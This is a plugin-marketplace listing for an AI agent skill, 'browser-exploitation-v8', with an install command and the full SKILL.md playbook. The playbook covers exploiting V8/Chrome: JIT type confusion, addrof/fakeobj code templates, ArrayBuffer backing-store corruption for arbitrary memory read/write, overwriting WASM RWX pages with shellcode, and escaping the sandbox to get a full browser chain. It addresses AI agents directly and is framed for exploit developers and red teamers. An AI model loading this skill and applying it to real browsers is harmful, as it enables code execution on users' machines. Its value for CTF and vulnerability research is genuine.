PluginBench
Skill
Fail
Audit score 45

browser-exploitation-v8

yaklang/hack-skills

V8 and Chrome browser exploitation: JIT type confusion, sandbox bypass, and renderer RCE techniques.

What is browser-exploitation-v8?

Expert playbook for exploiting JavaScript engine vulnerabilities in V8/Chrome, including JIT type confusion, bounds elimination, and sandbox escape. Use when targeting renderer process vulnerabilities, achieving arbitrary read/write, or escaping the V8 sandbox via pointer compression bypass.

  • Understand V8 compilation pipeline (Ignition → Sparkplug → Maglev → TurboFan) and speculative optimization weaknesses
  • Identify and trigger JIT type confusion, incorrect bounds elimination, and prototype chain confusion bugs
  • Build addrof/fakeobj primitives to leak object addresses and create fake object references
  • Achieve arbitrary read/write via ArrayBuffer backing store corruption and OOB array access
  • Exploit WASM RWX pages for code execution and bypass pointer compression (V8 sandbox)
  • Understand V8 heap layout, object representation, and GC interaction for reliable exploitation

How to install browser-exploitation-v8

npx skills add https://github.com/yaklang/hack-skills --skill browser-exploitation-v8
Prerequisites
  • Familiarity with JavaScript and basic heap exploitation concepts
  • Understanding of JIT compilation and speculative optimization
  • Knowledge of pointer representation and memory layout (SMI, tagged pointers)
  • Access to V8 source code or d8 debugger for testing (optional but recommended)
Claude Code
Cursor
Windsurf
Cline

How to use browser-exploitation-v8

  1. 1.Review the V8 architecture section to understand the compilation pipeline and object representation model
  2. 2.Identify the specific bug class (JIT type confusion, bounds elimination, etc.) in your target vulnerability
  3. 3.Study the corresponding exploitation primitive (addrof, fakeobj, OOB read/write) for your bug type
  4. 4.Build a proof-of-concept that triggers the bug reliably by calling the vulnerable function 100k+ times to force JIT optimization
  5. 5.Implement addrof/fakeobj primitives using type confusion between object and float arrays
  6. 6.Corrupt an ArrayBuffer's backing_store pointer to achieve arbitrary read/write
  7. 7.Use arbitrary write to overwrite WASM RWX page or escape the V8 sandbox via pointer compression bypass
  8. 8.Chain with sandbox-escape-techniques skill for Chrome renderer sandbox escape via IPC/Mojo

Use cases

Good for
  • Exploit CVE-class JIT type confusion bugs in TurboFan to achieve renderer RCE in Chrome/Chromium
  • Build memory corruption primitives (addrof/fakeobj) from bounds check elimination vulnerabilities
  • Corrupt ArrayBuffer backing store to gain arbitrary process memory read/write after sandbox escape
  • Overwrite WASM JIT code on RWX pages to inject and execute shellcode
  • Chain V8 sandbox bypass with Chrome IPC/Mojo sandbox escape for full process compromise
Who it's for
  • Security researchers and exploit developers targeting Chrome/Chromium
  • CTF competitors solving browser exploitation challenges
  • Vulnerability researchers analyzing V8 JIT compiler bugs
  • Red teamers developing browser-based attack chains

browser-exploitation-v8 FAQ

What is pointer compression and how does it affect exploitation?

V8 ≥ 8.0 uses 32-bit compressed pointers within a 4GB sandbox cage instead of full 64-bit pointers. This limits ArrayBuffer backing_store to sandbox memory only. To access process memory, you must first escape the V8 sandbox via pointer decompression or sandbox bypass techniques.

How do I trigger JIT optimization reliably?

Call the vulnerable function 100,000+ times in a loop to exceed the JIT threshold, or use V8 intrinsics in d8: %OptimizeFunctionOnNextCall(func); func(...). The function must receive consistent types during warm-up to trigger speculative optimization.

What is the difference between addrof and fakeobj?

addrof(obj) leaks the heap address of a JavaScript object by reading it as a float through a type-confused array. fakeobj(addr) does the reverse: writes a raw address as a float and reads it back as an object reference, creating a fake object at an arbitrary address.

How do I corrupt an ArrayBuffer to get arbitrary R/W?

Use OOB write or type confusion to overwrite the ArrayBuffer's backing_store pointer field (at offset +0x10 in the object). Then read/write through a DataView on that ArrayBuffer to access arbitrary memory at the new backing_store address.

Can I exploit V8 sandbox to escape the cage?

The V8 sandbox (pointer compression cage) is a containment boundary. Full process memory access requires either a separate sandbox escape vulnerability or chaining with Chrome's IPC/Mojo sandbox escape (see sandbox-escape-techniques skill).

Full instructions (SKILL.md)

Source of truth, from yaklang/hack-skills.


name: browser-exploitation-v8 description: >- Browser and V8 exploitation playbook. Use when exploiting JavaScript engine vulnerabilities including JIT type confusion, incorrect bounds elimination, and V8 sandbox bypass to achieve renderer RCE and sandbox escape in Chrome/Chromium.

SKILL: Browser / V8 Exploitation — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert V8/Chrome exploitation techniques. Covers V8 compilation pipeline, JIT type confusion, addrof/fakeobj primitives, ArrayBuffer corruption, WASM RWX pages, V8 sandbox (pointer compression), and Chrome sandbox escape overview. Distilled from ctf-wiki browser sections, Project Zero research, and CTF competition patterns. Base models often confuse V8 object representation details and miss the pointer compression barrier.

0. RELATED ROUTING

  • sandbox-escape-techniques — Chrome renderer sandbox escape via IPC/Mojo
  • heap-exploitation — general heap concepts applicable to V8 heap
  • stack-overflow-and-rop — ROP concepts for native code execution after V8 escape
  • binary-protection-bypass — ASLR/NX bypass in browser context

Advanced Reference

Load V8_EXPLOITATION_PATTERNS.md when you need:

  • Detailed exploitation patterns and code templates
  • Heap layout manipulation and GC interaction
  • V8 sandbox bypass techniques
  • Object map confusion patterns

1. V8 ARCHITECTURE

Compilation Pipeline

JavaScript Source
    ↓ Parser
  AST (Abstract Syntax Tree)
    ↓ Ignition
  Bytecode (interpreted, profiling)
    ↓ Sparkplug (non-optimizing baseline, V8 ≥ 9.1)
  Baseline code (fast startup)
    ↓ Maglev (mid-tier, V8 ≥ 10.2)
  Mid-optimized code
    ↓ TurboFan (optimizing JIT)
  Optimized machine code (with speculative optimizations)
    ↓ Deoptimization (if speculation fails)
  Back to Ignition bytecode

Key V8 Concepts

ConceptDescription
Tagged pointersSMI (Small Integer): value << 1, HeapObject: ptr | 1
Pointer compressionV8 ≥ 8.0: objects addressed via 32-bit offset from cage base (4GB sandbox)
Maps (Hidden Classes)Define object shape: property names, types, offsets
Elements kindsInternal array type: PACKED_SMI_ELEMENTS, PACKED_DOUBLE_ELEMENTS, PACKED_ELEMENTS, etc.
Write barrierGC bookkeeping when heap pointers are written
Garbage collectionOrinoco GC: minor (Scavenge) and major (Mark-Compact)

Object Representation (64-bit, pointer compression)

HeapObject in V8 heap (compressed):
  +0x00: Map pointer (compressed, 32-bit offset)
  +0x04: Properties/Hash
  +0x08: Elements pointer (compressed)
  +0x0C: Length (for arrays)
  +0x10: Inline properties or backing store data

2. COMMON V8 BUG CLASSES

Bug ClassDescriptionExample
JIT Type ConfusionTurboFan assumes wrong type after optimizationSpeculative type guard eliminated, wrong operation applied
Incorrect Bounds EliminationJIT removes array bounds check based on wrong range analysisCheckBounds node eliminated → OOB access
Prototype Chain ConfusionOptimization assumes stable prototype, mutations invalidatePrototype change after optimization → wrong property access
Turbofan Reduction BugIncorrect strength reduction or constant foldingInteger overflow in range analysis
Race ConditionSharedArrayBuffer + worker thread raceType confusion via concurrent modification
Off-by-one in BuiltinBoundary error in built-in function implementationString/Array bounds
Typer BugIncorrect type range computation in TurboFanTyper says value is in [0, N] but can be N+1

Triggering JIT Optimization

function vuln(arr) {
    // ... vulnerable code path ...
}
// Force optimization by calling many times
for (let i = 0; i < 100000; i++) {
    vuln(arr);
}
// Or use V8 intrinsics (d8 only):
%OptimizeFunctionOnNextCall(vuln);
vuln(arr);

3. EXPLOITATION PRIMITIVES

addrof — Leak Object Address

// Goal: get the raw heap address of a JavaScript object
// Method: type confusion between object array and float array
// If we can confuse PACKED_ELEMENTS array with PACKED_DOUBLE_ELEMENTS:
// - Write object reference to element of object array
// - Read same element as double from confused float array
// - Float bits = compressed pointer of the object

function addrof(obj) {
    // Setup depends on specific bug
    // Typically: trigger type confusion so array reads obj ref as float
    object_array[0] = obj;
    return ftoi(confused_float_array[0]);  // float-to-int conversion
}

fakeobj — Create Fake Object Reference

// Goal: create a JS reference to an arbitrary heap address
// Method: reverse of addrof — write float (raw pointer bits) to float array,
//         read from confused object array → treated as object reference

function fakeobj(addr) {
    confused_float_array[0] = itof(addr);  // int-to-float conversion
    return object_array[0];                 // now a "pointer" to addr
}

Building Arbitrary R/W from addrof + fakeobj

// 1. Create a Float64Array with known layout
let rw_array = new Float64Array(0x100);
let rw_array_addr = addrof(rw_array);

// 2. Fake a Float64Array object at controlled address with modified backing_store
// 3. Corrupt backing_store pointer to target address
// 4. Read/write through the fake Float64Array → arbitrary R/W

function read64(addr) {
    // Set fake array's backing_store = addr
    write_to_fake_backingstore(addr);
    return fake_float64array[0];
}

function write64(addr, value) {
    write_to_fake_backingstore(addr);
    fake_float64array[0] = value;
}

4. OOB READ/WRITE VIA CONFUSED ARRAY BOUNDS

When TurboFan incorrectly eliminates bounds checks:

function trigger(arr, idx) {
    // TurboFan thinks idx is always < arr.length
    // But due to bug, idx can exceed bounds
    return arr[idx];  // OOB read
}

// OOB read adjacent memory (next heap object's metadata)
// OOB write to corrupt next object's map/elements/length

What's Adjacent in V8 Heap?

Objects are allocated sequentially in V8's young generation (new space). By controlling allocation order:

let arr1 = new Array(0x10);    // spray object
let arr2 = new Float64Array(0x10);  // target: adjacent to arr1
// OOB from arr1 can reach arr2's metadata
// Corrupt arr2's length → unconstrained OOB on arr2

5. ARRAYBUFFER ARBITRARY R/W

ArrayBuffer's backing store is a raw pointer to allocated memory. Corrupting it gives absolute memory R/W.

let ab = new ArrayBuffer(0x100);
let view = new DataView(ab);
// If we can overwrite ab's backing_store pointer:
// ab.backing_store = target_addr
// view.getFloat64(0) → reads 8 bytes from target_addr
// view.setFloat64(0, val) → writes to target_addr

V8 Sandbox (Pointer Compression) Impact

Since V8 ≥ 8.0 (pointer compression) and V8 sandbox (≥ 11.x):

  • ArrayBuffer.backing_store is a sandbox pointer (within the V8 cage, 4GB region)
  • Cannot directly point outside the V8 cage
  • Need sandbox escape to get full process memory access

6. WASM RWX PAGE

WebAssembly JIT code is placed on RWX (Read-Write-Execute) pages on some platforms.

// Allocate WASM module → JIT compiles to RWX page
let wasm_code = new Uint8Array([0x00, 0x61, 0x73, 0x6d, ...]);
let mod = new WebAssembly.Module(wasm_code);
let instance = new WebAssembly.Instance(mod);
// instance.exports.func → points to RWX page

// If we can find and write to this page:
// 1. addrof(instance) → find WASM instance object
// 2. Follow pointers: instance → jump_table_start → RWX page
// 3. Use arbitrary write to overwrite RWX page with shellcode
// 4. Call instance.exports.func() → executes shellcode

Modern Chrome: W^X enforcement means WASM pages are either RW or RX, not RWX simultaneously. JIT code is written in RW mode, then switched to RX. Exploitation requires finding a write window or using JIT spray.


7. V8 SANDBOX

Architecture (V8 ≥ 11.x)

Process Virtual Address Space:
┌──────────────────────────────────────┐
│  V8 Sandbox Cage (4GB region)        │
│  ├── V8 Heap (JS objects)            │
│  ├── ArrayBuffer backing stores      │
│  ├── WASM memory                     │
│  └── External pointer table          │
├──────────────────────────────────────┤
│  Process memory outside cage         │
│  ├── libc, Chrome code               │
│  ├── Stack                           │
│  └── Other allocations               │
└──────────────────────────────────────┘

Sandbox Escape Vectors

VectorMethod
External pointer tableCorrupt entries in the external pointer table to reference arbitrary addresses
WASM code pointerOverwrite WASM function entry to jump to controlled shellcode
JIT code corruptionWrite to JIT code page via race condition or confused pointer
Mojo IPC (Chrome)Exploit Chrome IPC to attack browser process from compromised renderer
Backing store seal bypassFind type confusion to get unsandboxed pointer

8. CHROME SANDBOX ESCAPE (OVERVIEW)

After renderer RCE (via V8 exploit), the process is still sandboxed. Full compromise requires:

StageTargetExample
Renderer exploitV8 / Blink DOMType confusion → shellcode
IPC/Mojo bugChrome IPC layerUse-after-free in Mojo interface
Browser process exploitPrivileged browser processCode execution outside sandbox

Mojo interfaces (Chrome's IPC) expose attack surface: find UAF or type confusion in Mojo message handlers.


9. TOOLS

# V8 debugging
d8 --allow-natives-syntax exploit.js  # Enable V8 intrinsics (%DebugPrint, etc.)
d8 --trace-turbo exploit.js           # Dump TurboFan IR
d8 --print-opt-code exploit.js        # Print optimized machine code

# Turbolizer: visual TurboFan IR graph
# Chrome DevTools Memory panel: heap snapshots

# Build V8 for debugging
git clone https://chromium.googlesource.com/v8/v8.git
gclient sync
gn gen out/debug --args='is_debug=true v8_enable_sandbox=false'
ninja -C out/debug d8

10. DECISION TREE

V8 vulnerability identified
├── Bug type?
│   ├── JIT type confusion → trigger optimization, confuse array element kinds
│   ├── Bounds check elimination → OOB read/write on array
│   ├── Typer bug → incorrect range leads to OOB
│   └── Builtin bug → direct memory corruption primitive
│
├── Build primitives
│   ├── Can confuse object array ↔ float array?
│   │   └── addrof + fakeobj → arbitrary R/W within V8 heap
│   ├── OOB on array?
│   │   └── Corrupt adjacent object (length/backing_store) → expand to full R/W
│   └── Direct write primitive?
│       └── Target WASM instance or ArrayBuffer metadata
│
├── V8 sandbox enabled?
│   ├── YES (modern Chrome) →
│   │   ├── R/W limited to V8 cage (4GB)
│   │   ├── Need sandbox escape: external pointer table corruption,
│   │   │   WASM code pointer overwrite, or Mojo bug
│   │   └── Then proceed to shellcode execution
│   └── NO (older V8, CTF, d8) →
│       ├── Corrupt ArrayBuffer backing_store → absolute R/W
│       └── Overwrite WASM RWX page → shellcode
│
├── Code execution method
│   ├── WASM RWX page available? → write shellcode, call WASM func
│   ├── JIT code writable? → overwrite JIT code
│   └── ROP needed? → corrupt stack or return address
│
└── Full browser exploit chain
    ├── Stage 1: V8 bug → renderer RCE
    ├── Stage 2: Mojo IPC bug → browser process compromise
    └── Stage 3: OS-level escalation (if needed)